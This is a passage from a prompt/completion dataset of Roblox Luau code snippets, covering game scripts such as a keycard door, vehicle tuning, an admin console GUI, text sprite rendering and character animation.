{\n // this can happen if an empty object is thrown.\n message = `thrown: ${prettyFormat(error, {maxDepth: 3})}`;\n }\n\n let messageToUse;\n\n if (reuseMessage) {\n messageToUse = ` ${message.trim()}`;\n } else {\n messageToUse = `${EXEC_ERROR_MESSAGE}\\n\\n${message}`;\n }\n\n return TITLE_INDENT + TITLE_BULLET + messageToUse + stack + '\\n';\n};\n]]", "completion": "\n\nlocal function removeInternalStackEntries(lines: { string }, options: StackTraceOptions): { string }\n\tlocal pathCounter = 0\n\n\treturn Array.filter(lines, function(line)\n\t\tif line:find(ANONYMOUS_FN_IGNORE) then\n\t\t\treturn false\n\t\tend\n\n\t\tif line:find(ANONYMOUS_PROMISE_IGNORE) or line:find(ANONYMOUS_NEW_PROMISE_IGNORE) then\n\t\t\treturn false\n\t\tend\n\n\t\tif line:find(ANONYMOUS_GENERATOR_IGNORE) then\n\t\t\treturn false\n\t\tend\n\n\t\tif line:find(NATIVE_NEXT_IGNORE) then\n\t\t\treturn false\n\t\tend\n\n\t\t-- ROBLOX deviation: omitting node specific stuff\n\t\t-- if (nodeInternals.some(internal => internal.test(line))) {\n\t\t-- \treturn false;\n\t\t-- }\n\n\t\t-- ROBLOX deviation: match both since Lua doesn't have alternations\n\t\tif not line:find(STACK_PATH_REGEXP) or not line:find(STACK_PATH_REGEXP_NATIVE) then\n\t\t\treturn true\n\t\tend\n\n\t\t-- ROBLOX deviation: match both since Lua doesn't have alternations\n\t\tif line:find(JASMINE_IGNORE) or line:find(JASMINE_IGNORE_BUILDEXPECTATIONRESULT) then\n\t\t\treturn false\n\t\tend\n\n\t\tpathCounter += 1\n\t\tif pathCounter == 1 then\n\t\t\treturn true -- always keep the first line even if it's from Jest\n\t\tend\n\n\t\tif options.noStackTrace then\n\t\t\treturn false\n\t\tend\n\n\t\t-- if (JEST_INTERNALS_IGNORE.test(line)) {\n\t\t-- \treturn false;\n\t\t-- }\n\n\t\treturn true\n\tend)\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 140\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--Destroy visual waypoints", "completion": "\nlocal function destroyVisualWaypoints(waypoints)\n\tif waypoints then\n\t\tfor _, waypoint in ipairs(waypoints) do\n\t\t\twaypoint:Destroy()\n\t\tend\n\tend\n\treturn\nend\n"} +{"prompt": "--\"False\" = Not Acceptable Keycard To Open. \"True\" = Acceptable Keycard To Open.--", "completion": "\n\nlocal door = script.Parent\nlocal bool = false\nlocal CanOpen1 = true\nlocal CanClose1 = false\nlocal AccessDenied = script.Parent.AccessDenied\nlocal AccessGranted = script.Parent.AccessGranted\nlocal clearance = {\n\t[\"[SCP] Card-Omni\"] = true, \n\t[\"[SCP] Card-L5\"] = true, \n\t[\"[SCP] Card-L4\"] = true,\n\t[\"[SCP] Card-L3\"] = true,\n\t[\"[SCP] Card-L2\"] = true,\n\t[\"[SCP] Card-L1\"] = true\n}\n\t\t\t\t\t\t\n\t\t\t\t\t\t--DO NOT EDIT PAST THIS LINE--\nfunction openDoor()\n\tscript.Parent.DoorOpen:play()\n\tfor i = 3,(door.Size.z / 0.15) do\n\t\twait()\n\t\tdoor.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)\n\tend\nend\n\nfunction closeDoor()\n\tscript.Parent.DoorClose:play()\n\tfor i = 3,(door.Size.z / 0.15) do\n\t\twait()\n\t\tdoor.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)\n\tend\nend\n\nscript.Parent.Parent.KeycardReader1.touched:connect(function(touch)\n\tif touch.Name == \"Handle\" and clearance[touch.Parent.Name] and CanOpen1 == true then\n\t\t\n\t\tCanOpen1 = false\n\t\tAccessGranted:Play()\n\t\twait(0.75)\n\t\topenDoor()\n\t\twait(1)\n\t\tCanClose1 = true\n\telseif touch.Name == \"Handle\" and clearance[touch.Parent.Name] and CanClose1 == true then\n\t\tCanClose1 = false\n\t\tAccessGranted:Play()\n\t\twait(0.75)\n\t\tcloseDoor()\n\t\twait(1)\n\t\tCanOpen1 = true\n\telseif touch.Name == \"Handle\" and clearance[touch.Parent.Name] == false and not bool then\n\t\tbool = true\n\t\tAccessDenied:Play()\n\t\twait(2)\n\t\tbool = false\n\tend\nend)\n\nscript.Parent.Parent.KeycardReader2.touched:connect(function(touch)\n\tif touch.Name == \"Handle\" and clearance[touch.Parent.Name] and CanOpen1 == true then\n\t\tCanOpen1 = false\n\t\tAccessGranted:Play()\n\t\twait(0.75)\n\t\topenDoor()\n\t\twait(1)\n\t\tCanClose1 = true\n\telseif touch.Name == \"Handle\" and clearance[touch.Parent.Name] and CanClose1 == true then\n\t\tCanClose1 = false\n\t\tAccessGranted:Play()\n\t\twait(0.75)\n\t\tcloseDoor()\n\t\twait(1)\n\t\tCanOpen1 = true\n\telseif touch.Name == \"Handle\" and clearance[touch.Parent.Name] == false and not bool then\n\t\tbool = true\n\t\tAccessDenied:Play()\n\t\twait(2)\n\t\tbool = false\n\tend\nend)\n"} +{"prompt": "-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n\nlocal Tool = script.Parent\n\nlocal downStabAnim\nlocal stabPunchAnim\nlocal throwAnim\nlocal throwChargeAnim\n\nlocal MyHumanoid\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 8 -- Blast radius of the explosion\nlocal BLAST_DAMAGE = 750"} +{"prompt": "--[[ DRINK BUTTON LOCALS ]]", "completion": "--\n\nlocal CoffeeButton = DrinksFrame.Coffees\nlocal ShakeButton = DrinksFrame.Shakes\nlocal SlushyButton = DrinksFrame.Slushys\n"} +{"prompt": "--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------\n-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n"} +{"prompt": "--Call this on both the client and server!", "completion": "\nfunction module:ModifySimulation(simulation)\n\n simulation:RegisterMoveState(\"Flying\", self.ActiveThink, self.AlwaysThink, self.StartState, nil)\n\tsimulation.constants.flyFriction = 0.2\n\tsimulation.state.flyingCooldown = 0\nend\n"} +{"prompt": "---You can delete this script by the way!\n---it deletes the script on its own", "completion": "\n\n\n\nscript:Destroy()\nprint(\"ThankYou Script Deleted.\")\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed codeName..gui.Name", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\n\tlocal UI = client.UI\n\tlocal Remote = client.Remote\n\tlocal Variables = client.Variables\n\n\tlocal gui = script.Parent.Parent\n\n\tgTable.Name = \"Console\"\n\tgTable.CanKeepAlive = true\n\n\tlocal frame = gui.Frame\n\tlocal text = frame.TextBox\n\tlocal scroll = frame.ScrollingFrame\n\tlocal players = frame.PlayerList\n\tlocal entry = gui.Entry\n\n\tlocal Settings = Remote.Get(\"Setting\", {\"SplitKey\", \"ConsoleKeyCode\", \"BatchKey\", \"Prefix\"})\n\tlocal splitKey = Settings.SplitKey\n\tlocal consoleKey = Settings.ConsoleKeyCode\n\tlocal batchKey = Settings.BatchKey\n\tlocal prefix = Settings.Prefix\n\tlocal commands = Remote.Get(\"FormattedCommands\") or {}\n\n\tlocal opened = false\n\tlocal scrolling = false\n\tlocal scrollOpen = false\n\tlocal debounce = false\n\n\tlocal tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40), nil, nil,0.3, nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)\n\tlocal scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tSize = UDim2.new(1, 0, 0, 140);\n\t})\n\tlocal scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tSize = UDim2.new(1, 0, 0, 40);\n\t})\n\tlocal consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t})\n\tlocal consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {\n\t\tPosition = UDim2.new(0, 0, 0, -200);\n\t})\n\n\tlocal function showGuis()\n\t\tif UI.Get(\"Notif\") then\n\t\t\tUI.Get(\"Notif\", nil, true).Object.LABEL.Visible = true\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"Chat\", nil, true)\n\t\t\tif scr then scr.Object.Drag.Visible = true end\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"PlayerList\", nil, true)\n\t\t\tif scr then scr.Object.Drag.Visible = true end\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"HintHolder\", nil, true)\n\t\t\tif scr then scr.Object.Frame.Visible = true end\n\t\tend\n\tend\n\n\tlocal function hideGuis()\n\t\tif UI.Get(\"Notif\") then\n\t\t\tUI.Get(\"Notif\", nil, true).Object.LABEL.Visible = false\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"Chat\", nil, true)\n\t\t\tif scr then scr.Object.Drag.Visible = false end\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"PlayerList\", nil, true)\n\t\t\tif scr then scr.Object.Drag.Visible = false end\n\t\tend\n\t\tdo\n\t\t\tlocal scr = UI.Get(\"HintHolder\", nil, true)\n\t\t\tif scr then scr.Object.Frame.Visible = false end\n\t\tend\n\tend\n\n\tframe.Position = UDim2.fromOffset(0, -200)\n\tframe.Visible = false\n\tframe.Size = UDim2.new(1, 0, 0, 40)\n\tscroll.Visible = false\n\n\tif Variables.ConsoleOpen then\n\t\tif Variables.ChatEnabled then\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true)\n\t\tend\n\n\t\tif Variables.PlayerListEnabled then\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true)\n\t\tend\n\n\t\tshowGuis()\n\tend\n\n\tVariables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled(\"Chat\")\n\tVariables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled(\"PlayerList\")\n\n\tlocal function closeConsole()\n\t\tif gui:IsDescendantOf(game) and not debounce then\n\t\t\tdebounce = true\n\t\t\tscroll:ClearAllChildren()\n\t\t\tscroll.CanvasSize = UDim2.new(0,0,0,0)\n\t\t\tscroll.ScrollingEnabled = false\n\t\t\tframe.Size = UDim2.new(1,0,0,40)\n\t\t\tscroll.Visible = false\n\t\t\tplayers.Visible = false\n\t\t\tscrollOpen = false\n\n\t\t\tif Variables.ChatEnabled then\n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true)\n\t\t\tend\n\n\t\t\tif Variables.PlayerListEnabled then\n\t\t\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true)\n\t\t\tend\n\n\t\t\tshowGuis()\n\n\t\t\tconsoleCloseTween:Play()\n\t\t\t--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200), \"Out\", \"Linear\",0.2, true)\n\t\t\t--frame:TweenPosition(UDim2.new(0,0,0,-200), \"Out\", \"Linear\",0.2, true)\n\t\t\tdebounce = false\n\t\t\topened = false\n\t\tend\n\tend\n\n\tlocal function openConsole()\n\t\tif not gui:IsDescendantOf(game) or debounce then\n\t\t\treturn\n\t\tend\n\t\tdebounce = true\n\t\tVariables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled(\"Chat\")\n\t\tVariables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled(\"PlayerList\")\n\n\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)\n\t\tservice.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false)\n\n\t\tscroll.ScrollingEnabled = true\n\t\tplayers.ScrollingEnabled = true\n\n\t\thideGuis()\n\n\t\tconsoleOpenTween:Play()\n\n\t\tframe.Size = UDim2.new(1, 0, 0, 40)\n\t\tscroll.Visible = false\n\t\tplayers.Visible = false\n\t\tscrollOpen = false\n\t\ttext.Text = \"\"\n\t\tframe.Visible = true\n\t\tframe.Position = UDim2.new()\n\t\ttext:CaptureFocus()\n\t\ttext.Text = \"\"\n\t\twait()\n\t\ttext.Text = \"\"\n\t\tdebounce = false\n\t\topened = true\n\tend\n\n\ttext.FocusLost:Connect(function(enterPressed)\n\t\tif enterPressed then\n\t\t\tif string.len(text.Text) > 1 then\n\t\t\t\tRemote.Send(\"ProcessCommand\", text.Text)\n\t\t\tend\n\t\tend\n\n\t\tcloseConsole()\n\tend)\n\n\ttext:GetPropertyChangedSignal(\"Text\"):Connect(function()\n\t\tif text.Text ~= \"\" and openConsole then\n\t\t\tif string.sub(text.Text, string.len(text.Text)) == \"\t\" then\n\t\t\t\tif players:FindFirstChild(\"Entry 0\") then\n\t\t\t\t\ttext.Text = `{string.sub(text.Text, 1, (string.len(text.Text) - 1))}{players[\"Entry 0\"].Text} `\n\t\t\t\telseif scroll:FindFirstChild(\"Entry 0\") then\n\t\t\t\t\ttext.Text = string.split(scroll[\"Entry 0\"].Text, \"<\")[1]\n\t\t\t\telse\n\t\t\t\t\ttext.Text = text.Text..prefix\n\t\t\t\tend\n\t\t\t\ttext.CursorPosition = string.len(text.Text) + 1\n\t\t\t\ttext.Text = string.gsub(text.Text, \"\t\", \"\")\n\t\t\tend\n\t\t\tscroll:ClearAllChildren()\n\t\t\tplayers:ClearAllChildren()\n\n\t\t\tlocal nText = text.Text\n\t\t\tif string.match(nText, `.*{batchKey}([^']+)`) then\n\t\t\t\tnText = string.match(nText, `.*{batchKey}([^']+)`)\n\t\t\t\tnText = string.match(nText, \"^%s*(.-)%s*$\")\n\t\t\tend\n\n\t\t\tlocal pNum = 0\n\t\t\tlocal pMatch = string.match(nText, `.+{splitKey}(.*)$`)\n\t\t\tfor _, v in service.Players:GetPlayers() do\n\t\t\t\tif (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,`{splitKey}$`) then\n\t\t\t\t\tlocal new = entry:Clone()\n\t\t\t\t\tnew.Text = tostring(v)\n\t\t\t\t\tnew.Name = `Entry {pNum}`\n\t\t\t\t\tnew.TextXAlignment = \"Right\"\n\t\t\t\t\tnew.Visible = true\n\t\t\t\t\tnew.Parent = players\n\t\t\t\t\tnew.Position = UDim2.new(0,0,0,20*pNum)\n\t\t\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\t\t\ttext.Text = text.Text..tostring(v)\n\t\t\t\t\t\ttext:CaptureFocus()\n\t\t\t\t\tend)\n\t\t\t\t\tpNum += 1\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tplayers.CanvasSize = UDim2.new(0,0,0,pNum*20)\n\n\t\t\tlocal num = 0\n\t\t\tfor _, v in commands do\n\t\t\t\tif string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText), `^(.-){splitKey}`) or string.lower(nText), 1, true) then\n\t\t\t\t\tif not scrollOpen then\n\t\t\t\t\t\tscrollOpenTween:Play()\n\t\t\t\t\t\t--frame.Size = UDim2.new(1,0,0,140)\n\t\t\t\t\t\tscroll.Visible = true\n\t\t\t\t\t\tplayers.Visible = true\n\t\t\t\t\t\tscrollOpen = true\n\t\t\t\t\tend\n\t\t\t\t\tlocal b = entry:Clone()\n\t\t\t\t\tb.Visible = true\n\t\t\t\t\tb.Parent = scroll\n\t\t\t\t\tb.Text = v\n\t\t\t\t\tb.Name = `Entry {num}`\n\t\t\t\t\tb.Position = UDim2.fromOffset(0, 20*num)\n\t\t\t\t\tb.MouseButton1Down:Connect(function()\n\t\t\t\t\t\ttext.Text = b.Text\n\t\t\t\t\t\ttext:CaptureFocus()\n\t\t\t\t\tend)\n\t\t\t\t\tnum += 1\n\t\t\t\tend\n\t\t\tend\n\t\t\tframe.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140))\n\t\t\tscroll.CanvasSize = UDim2.fromOffset(0, num*20)\n\t\telseif text.Text == \"\" and opened then\n\t\t\tscrollCloseTween:Play()\n\t\t\t--service.SafeTweenSize(frame,UDim2.new(1,0,0,40), nil, nil,0.3, nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)\n\t\t\tscroll.Visible = false\n\t\t\tplayers.Visible = false\n\t\t\tscrollOpen = false\n\t\t\tscroll:ClearAllChildren()\n\t\t\tscroll.CanvasSize = UDim2.new()\n\t\tend\n\tend)\n\n\tservice.HookEvent(\"ToggleConsole\", function()\n\t\tif opened then\n\t\t\tcloseConsole()\n\t\telse\n\t\t\topenConsole()\n\t\tend\n\t\tVariables.ConsoleOpen = opened\n\tend)\n\n\tgTable.BindEvent(service.UserInputService.InputBegan, function(inputObject: InputObject)\n\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\t\tif not textbox and rawequal(inputObject.UserInputType, Enum.UserInputType.Keyboard) and inputObject.KeyCode.Name == (Variables.CustomConsoleKey or consoleKey) then\n\t\t\tservice.Events.ToggleConsole:Fire()\n\t\tend\n\tend)\n\n\tgTable:Ready()\nend\n"} +{"prompt": "-- declarations", "completion": "\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal jumpAnimTime = 0\nlocal jumpAnimDuration = 0.175\n\nlocal toolTransitionTime = 0.1\nlocal fallTransitionTime = 0.2\nlocal jumpMaxLimbVelocity = 0.75\n"} +{"prompt": "--\tcar.DriveSeat.CC.Changed:connect(function()\n--\t\tif car.DriveSeat.CC.Value then\n--\t\t\tscript.Parent.Values.CCS.Value = car.DriveSeat.CCS.Value\n--\t\tend\n--\tend)", "completion": "\n\tcar.DriveSeat.RCC.Changed:connect(function()\n\t\tif workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * 50)) then\n\t\t\tscript.Parent.C:Play()\n\t\t\tlocal p = workspace:FindPartOnRay(Ray.new(snsrs.FS.RayEnd.CFrame.p,(snsrs.FS.RayEnd.CFrame.p-snsrs.FS.RayStart.CFrame.p).unit * 50))\n\t\t\trepeat\n\t\t\t\twait()\n\t\t\t\tcar.DriveSeat.CCS.Value = p.Velocity.Magnitude*(10/12) * (60/88)\n\t\t\tuntil car.DriveSeat.CC.Value == false\n\t\tend\n\tend)\n\t\n\t--15 c/s\n\twhile wait(.0667) do\n\t\t--Automatic Transmission\n\t\tif _TMode == \"Auto\" then Auto() end\n\t\t\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\tend\n"} +{"prompt": "-- functions for drawing", "completion": "\n\nlocal function drawSprite(byte, nextByte, settings)\n\tlocal sprite = IMGFRAME:Clone();\n\tlocal child = settings.child;\n\tlocal attached = settings.attached;\n\t\n\tlocal sizeSet = settings.styles[settings.style][settings.size];\n\tlocal character = sizeSet.characters[byte];\n\t\n\t-- fill in the defining properties\n\tsprite.Name = byte;\n\tsprite.ImageColor3 = child.TextColor3;\n\tsprite.ImageTransparency = attached.TextTransparency;\n\tsprite.ZIndex = child.ZIndex;\n\t\n\t-- setup the image\n\tsprite.Image = settings.atlases[character.atlas + 1];\n\tsprite.ImageRectSize = vector2(character.width, character.height);\n\tsprite.ImageRectOffset = vector2(character.x, character.y);\n\t\n\t-- kerning\n\tlocal kernx, kerny = 0, 0\n\tif (nextByte and sizeSet.kerning[byte] and sizeSet.kerning[byte][nextByte]) then\n\t\tlocal k = sizeSet.kerning[byte][nextByte];\n\t\tkernx = k.x;\n\t\tkerny = k.y;\n\tend;\n\t\n\t-- positioning\n\tsprite.Position = udim2(0, kernx, 0, character.yoffset + kerny);\n\tsprite.Size = udim2(0, character.width, 0, character.height);\n\t\n\treturn sprite, kernx, kerny + character.yoffset + character.height;\nend;\n\nlocal function drawLine(text, height, gsprites, settings)\n\tlocal width = 0;\n\tlocal maxheight = 0;\n\tlocal sprites = {};\n\n\tlocal child = settings.child;\n\tlocal attached = settings.attached;\n\t\n\tlocal ntext = #text;\n\tlocal sizeSet = settings.styles[settings.style][settings.size];\n\t\n\tfor i = 1, ntext do\n\t\tlocal i2 = i + 1 <= ntext and i + 1;\n\t\tlocal b = byte(sub(text, i, i));\n\t\tlocal b2 = i2 and byte(sub(text, i2, i2));\n\t\tlocal character, kernx, mheight = drawSprite(b, b2, settings);\n\t\tmaxheight = mheight > maxheight and mheight or maxheight\n\t\tcharacter.Position = character.Position + udim2(0, width, 0, height);\n\t\twidth = width + (i2 and sizeSet.characters[b].xadvance or sizeSet.characters[b].width) + kernx;\n\t\tinsert(sprites, character);\n\t\tinsert(gsprites, character);\n\tend;\n\t\n\tlocal xalign = getAlignMultiplier(child.TextXAlignment);\n\tlocal adjust = (abs(child.AbsoluteSize.x) - width) * xalign;\n\tfor i = 1, ntext do\n\t\tlocal character = sprites[i];\n\t\tcharacter.Position = character.Position + udim2(0, adjust, 0, 0);\n\tend;\n\t\n\treturn width, maxheight;\nend;\n\nlocal function drawLines(text, settings, parent)\n\tlocal child = settings.child;\t\n\t\n\tif (child.TextScaled) then\n\t\tsettings.size = scaleText(text, settings);\n\tend;\n\n\tlocal lines = child.TextWrapped and wrapText(text, settings.size, settings) or getLines(text);\n\tlocal lineHeight = settings.styles[settings.style][settings.size].lineHeight;\n\t\n\tlocal widths = {0};\n\tlocal height = -settings.styles[settings.style][settings.size].firstAdjust;\n\tlocal sprites = {};\n\t\n\tfor i = 1, #lines do\n\t\tlocal line = lines[i];\n\t\tlocal width, lh = drawLine(line, height, sprites, settings);\n\t\theight = height + lh;\n\t\tinsert(widths, width);\n\tend;\n\t\n\tlocal yalign = getAlignMultiplier(child.TextYAlignment);\n\tlocal adjust = (abs(child.AbsoluteSize.y) - height) * yalign;\n\tfor i = 1, #sprites do\n\t\tlocal character = sprites[i];\n\t\tcharacter.Position = character.Position + udim2(0, 0, 0, adjust);\n\t\tcharacter.Parent = parent;\n\tend;\n\t\n\treturn sprites;\nend;"} +{"prompt": "-- initiate", "completion": "\n\nfor _, p in pairs(ITEMS:GetDescendants()) do\n\tif p:IsA(\"BasePart\") then\n\t\tGoldify(p)\n\tend\nend\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\n\n\tlocal parts = Figure:GetChildren()\n\tfor i=1,#parts do\n\t\tif parts.className == \"Part\" then\n\t\t\tDebris.AddItem(parts[i], 60)\n\t\tend\n\tend\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 3.1\n\tLeftShoulder.DesiredAngle = -3.1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 3.1\n\tLeftShoulder.DesiredAngle = -3.1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = 3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = 1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 